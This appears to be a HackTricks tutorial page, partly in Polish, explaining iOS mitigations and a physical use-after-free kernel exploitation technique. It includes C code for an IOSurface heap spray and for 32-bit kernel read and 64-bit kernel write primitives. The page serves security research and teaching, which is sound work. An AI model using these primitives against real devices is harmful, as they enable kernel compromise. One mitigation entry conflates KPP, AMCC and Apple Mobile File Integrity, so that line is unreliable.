15 KiB
iOS Physical Use After Free via IOSurface
{{#include ../../banners/hacktricks-training.md}}
iOS Exploit Mitigations
- Code Signing in iOS działa poprzez wymóg, że każdy kawałek wykonywalnego kodu (aplikacje, biblioteki, rozszerzenia itp.) musi być kryptograficznie podpisany certyfikatem wydanym przez Apple. Gdy kod jest ładowany, iOS weryfikuje podpis cyfrowy względem zaufanego rootu Apple. Jeśli podpis jest nieprawidłowy, brakujący lub zmodyfikowany, system odmówi jego uruchomienia. To uniemożliwia atakującym wstrzykiwanie złośliwego kodu do legalnych aplikacji lub uruchamianie niepodpisanych binarek, skutecznie blokując większość łańcuchów exploitów polegających na wykonywaniu dowolnego kodu.
- CoreTrust to podsystem iOS odpowiedzialny za egzekwowanie code signing w czasie wykonywania. Weryfikuje podpisy bezpośrednio przy użyciu root certyfikatu Apple, nie polegając na lokalnych pamięciach zaufania, co oznacza, że tylko binaria podpisane przez Apple (lub z prawidłowymi entitlements) mogą się wykonać. CoreTrust zapewnia, że nawet jeśli atakujący zmodyfikował aplikację po instalacji, zmienił biblioteki systemowe lub próbował załadować niepodpisany kod, system zablokuje wykonanie, chyba że kod nadal ma poprawny podpis. Ta rygorystyczna egzekucja zamyka wiele wektorów post-exploitation, które starsze wersje iOS pozwalały obejść.
- Data Execution Prevention (DEP) oznacza regiony pamięci jako nie-wykonywalne, chyba że explicite zawierają kod. To uniemożliwia atakującym wstrzykiwanie shellcode do regionów danych (np. stosu czy sterty) i jego uruchamianie, zmuszając do użycia bardziej złożonych technik jak ROP.
- ASLR (Address Space Layout Randomization) losuje adresy pamięci kodu, bibliotek, stosu i sterty przy każdym uruchomieniu systemu. Utrudnia to przewidzenie lokalizacji przydatnych instrukcji lub gadgetów, łamiąc wiele łańcuchów exploitów zależnych od przewidywalnego układu pamięci.
- KASLR (Kernel ASLR) stosuje tę samą losowość do jądra iOS. Przez przetasowanie bazowego adresu jądra przy każdym rozruchu uniemożliwia łatwe znalezienie funkcji lub struktur jądra, podnosząc trudność exploitów na poziomie jądra, które mogłyby uzyskać pełną kontrolę nad systemem.
- Kernel Patch Protection (KPP), znany również jako AMCC (Apple Mobile File Integrity) w iOS, ciągle monitoruje strony kodu jądra, aby upewnić się, że nie zostały zmodyfikowane. Jeśli wykryje manipulację — np. exploit próbujący załatać funkcje jądra lub wstawić złośliwy kod — urządzenie zasygnalizuje panic i zrestartuje się. Ta ochrona utrudnia trwałe exploity jądra, ponieważ atakujący nie mogą po prostu hookować czy modyfikować instrukcji jądra bez wywołania awarii systemu.
- Kernel Text Readonly Region (KTRR) to sprzętowa funkcja bezpieczeństwa wprowadzona na urządzeniach iOS. Używa kontrolera pamięci CPU do oznaczenia sekcji kodu jądra (text) jako permanentnie tylko do odczytu po starcie. Po zablokowaniu nawet samo jądro nie może modyfikować tego regionu pamięci. To zapobiega atakom (i uprzywilejowanemu kodowi) patchowania instrukcji jądra w czasie działania, zamykając dużą klasę exploitów polegających na bezpośredniej modyfikacji kodu jądra.
- Pointer Authentication Codes (PAC) używają podpisów kryptograficznych osadzonych w nieużywanych bitach wskaźników, aby weryfikować ich integralność przed użyciem. Gdy wskaźnik (np. adres powrotu lub wskaźnik funkcji) jest tworzony, CPU podpisuje go sekretnym kluczem; przed dereferencją CPU sprawdza podpis. Jeśli wskaźnik został zmodyfikowany, kontrola zawiedzie i wykonanie zostanie przerwane. To uniemożliwia atakującym fałszowanie lub ponowne użycie podrobionych wskaźników w exploitach korupcji pamięci, utrudniając techniki typu ROP czy JOP.
- Privilege Access never (PAN) to funkcja sprzętowa, która uniemożliwia jądru (tryb uprzywilejowany) bezpośrednie odczytywanie pamięci user-space, chyba że explicite włączy dostęp. To zatrzymuje atakujących, którzy uzyskali wykonanie kodu jądra, przed łatwym czytaniem lub zapisywaniem pamięci użytkownika w celu eskalacji uprawnień lub kradzieży danych. Egzekwując ścisły podział, PAN zmniejsza skutki exploitów jądra i blokuje wiele powszechnych technik eskalacji uprawnień.
- Page Protection Layer (PPL) to mechanizm bezpieczeństwa iOS, który chroni krytyczne regiony pamięci zarządzane przez jądro, szczególnie te związane z code signing i entitlements. Egzekwuje ścisłe ochrony zapisu używając MMU oraz dodatkowych sprawdzeń, zapewniając, że nawet uprzywilejowany kod jądra nie może dowolnie modyfikować wrażliwych stron. To zapobiega atakującym, którzy uzyskali wykonanie na poziomie jądra, przed manipulacją strukturami krytycznymi dla bezpieczeństwa, utrudniając utrzymanie trwałości i obejścia code signing.
Physical use-after-free
This is a summary from the post from https://alfiecg.uk/2024/09/24/Kernel-exploit.html moreover further information about exploit using this technique can be found in https://github.com/felix-pb/kfd
Memory management in XNU
The virtual memory address space for user processes on iOS spans from 0x0 to 0x8000000000. However, these addresses don’t directly map to physical memory. Instead, the kernel uses page tables to translate virtual addresses into actual physical addresses.
Levels of Page Tables in iOS
Page tables are organized hierarchically in three levels:
- L1 Page Table (Level 1):
- Each entry here represents a large range of virtual memory.
- It covers 0x1000000000 bytes (or 256 GB) of virtual memory.
- L2 Page Table (Level 2):
- An entry here represents a smaller region of virtual memory, specifically 0x2000000 bytes (32 MB).
- An L1 entry may point to an L2 table if it can't map the entire region itself.
- L3 Page Table (Level 3):
- This is the finest level, where each entry maps a single 4 KB memory page.
- An L2 entry may point to an L3 table if more granular control is needed.
Mapping Virtual to Physical Memory
- Direct Mapping (Block Mapping):
- Some entries in a page table directly map a range of virtual addresses to a contiguous range of physical addresses (like a shortcut).
- Pointer to Child Page Table:
- If finer control is needed, an entry in one level (e.g., L1) can point to a child page table at the next level (e.g., L2).
Example: Mapping a Virtual Address
Let’s say you try to access the virtual address 0x1000000000:
- L1 Table:
- The kernel checks the L1 page table entry corresponding to this virtual address. If it has a pointer to an L2 page table, it goes to that L2 table.
- L2 Table:
- The kernel checks the L2 page table for a more detailed mapping. If this entry points to an L3 page table, it proceeds there.
- L3 Table:
- The kernel looks up the final L3 entry, which points to the physical address of the actual memory page.
Example of Address Mapping
If you write the physical address 0x800004000 into the first index of the L2 table, then:
- Virtual addresses from 0x1000000000 to 0x1002000000 map to physical addresses from 0x800004000 to 0x802004000.
- This is a block mapping at the L2 level.
Alternatively, if the L2 entry points to an L3 table:
- Each 4 KB page in the virtual address range 0x1000000000 -> 0x1002000000 would be mapped by individual entries in the L3 table.
Physical use-after-free
A physical use-after-free (UAF) occurs when:
- A process allocates some memory as readable and writable.
- The page tables are updated to map this memory to a specific physical address that the process can access.
- The process deallocates (frees) the memory.
- However, due to a bug, the kernel forgets to remove the mapping from the page tables, even though it marks the corresponding physical memory as free.
- The kernel can then reallocate this "freed" physical memory for other purposes, like kernel data.
- Since the mapping wasn’t removed, the process can still read and write to this physical memory.
This means the process can access pages of kernel memory, which could contain sensitive data or structures, potentially allowing an attacker to manipulate kernel memory.
IOSurface Heap Spray
Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called heap spray:
- The attacker creates a large number of IOSurface objects in kernel memory.
- Each IOSurface object contains a magic value in one of its fields, making it easy to identify.
- They scan the freed pages to see if any of these IOSurface objects landed on a freed page.
- When they find an IOSurface object on a freed page, they can use it to read and write kernel memory.
More info about this in https://github.com/felix-pb/kfd/tree/main/writeups
Tip
Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable. PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked. Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks. KTRR (Kernel Text Read-Only Region), which locks down the kernel’s code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on. Moreover,
IOSurface
allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. AndIOSurface
is now guarded by entitlements and sandbox restrictions.
Step-by-Step Heap Spray Process
- Spray IOSurface Objects: The attacker creates many IOSurface objects with a special identifier ("magic value").
- Scan Freed Pages: They check if any of the objects have been allocated on a freed page.
- Read/Write Kernel Memory: By manipulating fields in the IOSurface object, they gain the ability to perform arbitrary reads and writes in kernel memory. This lets them:
- Use one field to read any 32-bit value in kernel memory.
- Use another field to write 64-bit values, achieving a stable kernel read/write primitive.
Generate IOSurface objects with the magic value IOSURFACE_MAGIC to later search for:
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
Wyszukaj obiekty IOSurface
na jednej zwolnionej fizycznej stronie:
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
Uzyskanie odczytu/zapisu jądra za pomocą IOSurface
Po uzyskaniu kontroli nad obiektem IOSurface w pamięci jądra (zmapowanym do zwolnionej strony fizycznej dostępnej z userspace), możemy go użyć do dowolnych operacji odczytu i zapisu w jądrze.
Kluczowe pola w IOSurface
Obiekt IOSurface ma dwa kluczowe pola:
- Use Count Pointer: Pozwala na 32-bit read.
- Indexed Timestamp Pointer: Pozwala na 64-bit write.
Przez nadpisanie tych wskaźników przekierowujemy je na dowolne adresy w pamięci jądra, umożliwiając operacje odczytu/zapisu.
32-Bit Kernel Read
Aby wykonać odczyt:
- Nadpisz use count pointer, aby wskazywał na docelowy adres minus offset 0x14 bajtów.
- Użyj metody
get_use_count
, aby odczytać wartość spod tego adresu.
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
64-bitowy zapis w jądrze
Aby wykonać zapis:
- Nadpisz indexed timestamp pointer, ustawiając go na docelowy adres.
- Użyj metody
set_indexed_timestamp
, aby zapisać wartość 64-bitową.
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
Podsumowanie przebiegu exploita
- Wywołaj Physical Use-After-Free: Zwolnione strony są dostępne do ponownego użycia.
- Spray IOSurface Objects: Alokuj wiele obiektów IOSurface z unikalną "magic value" w kernel memory.
- Identify Accessible IOSurface: Znajdź IOSurface na zwolnionej stronie, którą kontrolujesz.
- Abuse Use-After-Free: Zmodyfikuj wskaźniki w obiekcie IOSurface, aby umożliwić arbitralne kernel read/write za pomocą metod IOSurface.
Dzięki tym prymitywom exploit zapewnia kontrolowane 32-bit reads i 64-bit writes do kernel memory. Dalsze kroki jailbreak mogą wymagać bardziej stabilnych read/write primitives, które mogą wymagać obejścia dodatkowych zabezpieczeń (np. PPL na nowszych urządzeniach arm64e).
{{#include ../../banners/hacktricks-training.md}}